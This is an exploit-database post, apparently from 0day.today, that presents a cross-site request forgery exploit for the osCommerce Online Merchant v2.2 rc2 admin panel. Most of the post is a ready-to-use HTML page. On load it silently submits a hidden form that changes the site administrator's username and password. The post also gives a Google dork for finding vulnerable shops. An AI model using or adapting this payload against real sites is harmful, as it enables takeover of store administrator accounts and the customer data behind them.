oscommerce online merchant v2.2 rc2 - [CSRF] Change admin and pass

🗓️ 18 Aug 2011 00:00:00Reported by Dmar al3noOozType

zdt🔗 0day.today👁 87 Views

osCommerce Online Merchant v2.2 rc2 CSRF admin and pass chang

# Exploit Title: oscommerce online merchant v2.2 rc2 - [CSRF] Change name admin and pass  

# Author: Dmar al3noOoz  

# Mail : [email protected]
 
# Name : oscommerce online merchant v2.2 rc2

# dork : Google Dork: "oscommerce online merchant v2.2 rc2"

# Software Link : http://www.oscommerce.com

# Version: v2.2  


##############################################  Exploit  ##############################################  

<html>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "484","672" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 2;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<form method="POST" name="form0" action="http://www.xxxxxx.com/patch/admin/administrators.php?aID=1&action=save">
<input type="hidden" name="username" value="you user XXXX"/>
<input type="hidden" name="password" value="you pass XXXX"/>
<input type="hidden" name="x" value="24"/>
<input type="hidden" name="y" value="15"/>
</form>
</body>
</html>


###########################################################################
Greetz to : dmar hacker - dr.Dmar - dev-point - v4-team - Ra7aL - tryag.cc 

and all friend
  
########################################################################### 



#  0day.today [2018-03-09]  #

18 Aug 2011 00:00Current

7.1High risk

Vulners AI Score7.1